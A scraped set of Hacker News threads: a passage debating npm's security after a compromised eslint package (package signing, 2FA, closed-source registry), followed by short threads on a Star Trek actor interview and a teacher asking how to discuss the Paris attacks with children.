To me this is the irresponsibility of the NPM maintainers. Require some kind of cryptographic proof you intended to change the code. Signing or TFA or we wont host your w̶o̶r̶m̶ code ...

</comment><comment><USER12> > It bothers me greatly that npm is a private company. It bothers me that npm > is closed-source (the registry and server). It bothers me because I can't > contribute. I can only inform the community of the problems.

NPM the repository is not open source? How does a non open source platform ended up being the default package repository for an open source project is a complete mystery (since NPM client IS bundled with node distribution). People should be allowed to run their own NPM mirror ... for without having to pay for a license. I don't have to pay for packagist or pip server, I can only if I want professional support, so what is this?

<comment><USER13> Umm... do you use Github? Docker? Wordpress?

<comment><USER12> Now please explain me what it has to do with anything I say, since I do not use any of these services.

<comment><USER13> They are all very popular "open source" ecosystem tools beholden to a for- profit corporation.

Somebody has to pay the bills.

<comment><USER12> > They are all very popular "open source" ecosystem tools beholden to a for- > profit corporation.

NPM server is not open source to begin with. Its client shouldn't be bundled with node, an open source project. I don't use Wordpress but pretty sure I don't have to pay a license to Wordpress to install its CMS on a server. And github server IS NOT open source.

</comment></comment></comment></comment></comment><comment><USER14> Question, since I don't use much node.js. Doesn't the repository publish GPG- signing and a checksum hash of every file? The compromised package should have been rejected by the retrieval tool, no?

<comment><USER15> No, NPM does not have a GPG signing.

There was once a PR open, but it was rejected after sitting idle for over a year.

Yes, you read that right.

[https://github.com/npm/npm/pull/4016#issuecomment-76316744](https://github.com/npm/npm/pull/4016#issuecomment-76316744)

<comment><USER16> How would GPG signing help? If someone can execute arbitrary code on your computer _as your user account_ , the game is over, you are totally owned. An attacker can simply start signing their package with your GPG key. Since you are probably in sudoers, unless you have superhuman carefulness, they can also get root.

<comment><USER17> What you'd want is for the owner/maintainer to sign the code, rather than the repository. This wouldn't protect you against a malicious maintainer, but it would help in a case like this as long as the signing key or the maintainer's device isn't compromised along with their credentials. That would definitely raise the bar for attacks of this nature.

<comment><USER16>
        Alice installs malicious eslint.
        Attacker has control of Alice's machine and signs a malicious version of Alice's package using Alice's key.
        Attacker publishes a new version of Alice's package.
        Bob installs Alice's (malicious) package.
        Attacker has control of Bob's machine and signs a malicious version of Bob's package using Bob's key.
        Attacker publishes a new version of Bob's package.
        ...repeat

IMO signing could only work if it were combined with 2FA so that each time a package is signed, the signing operation is verified by the user on a second device. Otherwise it doesn't really impede a worm significantly because the nature of this attack is that the maintainer's primary device gets completely owned. We are all _very lucky_ that the eslint attack only stole npm credentials instead of installing rootkits.

<comment><USER17> In this attack, the maintainer's primary device was not owned. The maintainer's npm account was breached due to a reused password. Code signing would mitigate this because the attacker would be unable to release/sign a malicious version of the package.

Building a system that is immune against the maintainer's device being compromised puts you into "Reflections on trusting trust" territory. Just sticking two-factor authentication into that process won't change much (though it would of course also mitigate the password reuse vector).

</comment></comment></comment></comment></comment></comment><comment><USER18> even if you want to use 2FA with npm, they seemingly don't want you to: [https://i.imgur.com/2LoEURl.png](https://i.imgur.com/2LoEURl.png)

<comment><USER8> > they seemingly don't want you to

What makes you say that? The "not recommended" action in their screenshot is to disable 2FA. (I did find the screen a little confusing when setting up 2FA just now, though; it wasn't clear that it was picking between three different actions.)

<comment><USER18> sorry if i wasn't clear. the fact that npm lets you choose an option with downgraded security (the first option) blows my mind.

</comment></comment></comment><comment><USER19> > My fear is that they are refusing to do something here because they are a > startup focused on growth. Their VCs are undoubtably demanding that growth.

It sounds like a sad conclusion, but really, what are other reasonable reasons not to fix that glaring security hole that affects millions of direct and indirect users?

</comment><comment><USER8> > Well first we need to know how people would discover it. There's a couple > obvious ones...

npm emails you by default whenever one of your packages has been published (even by you), so I imagine that would be the most likely way that the problem would be detected in practice.

</comment><comment><USER20> Cool referrer link check, flagged.

</comment><comment><USER21> > This means that simply by opening a pull request into the right repo, you > can gain authorization to publish packages.

But that is not all what happened here... Or am I reading this wrong?

</comment><comment><USER22> How many times has this happened and not been caught?

</comment><comment><USER23> Is there any chance to build a sustainable open source project to alleviate some of these problems?

<comment><USER24> All (well, most) Linux distributions managed to achieve that. So, the chance is about 100%, all it takes is will and skill.</comment></comment>


An interview with the punk victim of Spock's vulcan nerve grip - <AUTHOR> http://www.wired.com/2016/09/punk-star-trek-iv-vulcan-nerve-pinch/ <comment><AUTHOR> A tiny but memorable role, from a man who played a much bigger role behind the scenes. This is a fun interview.</comment>


Ask HN: As a teacher, how do I help my students make sense of terrorism? - <AUTHOR> With all the negativity in today's world, as a teacher how can I help my student be optimistic. Attacks in Paris has affected all of us, especially young students. What can I do to help? How do you explain what and why of to little kids? <comment><USER2> Tonight on ABC and NBC evening news, there was a video clip of a French dad explaining his son about the Paris attack. I thought Dad did terrific job. The video was on home page few minutes ago when I checked.

[http://abcnews.go.com/WNT/video/explaining-paris-tragedy- chi...](http://abcnews.go.com/WNT/video/explaining-paris-tragedy- child-35265435)

<comment><USER3> Thank you so much for this :)

</comment></comment><comment><USER4> Well, I would say the first step is to not think of them as kids, but as you. What would have put it into context for you? That's what to say.

<comment><USER3> Yes. I think it is important to come in terms with such things ourselves and then move ahead. Thanks for reminding me that.

</comment></comment><comment><USER5> Maintain and convey positive outlook on life. That would be exactly opposite to what terrorists would want you to do.

Make a difference!

<comment><USER3> Yep! It is extremely crucial to be positive in the face of tragedy. I think this is where I will start from. Thanks

</comment></comment><comment><AUTHOR> Just read this. Felt like sharing- [http://time.com/4112751/how-to-talk-to- your-kids-about-the-a...](http://time.com/4112751/how-to-talk-to-your-kids- about-the-attacks-in-paris/)</comment>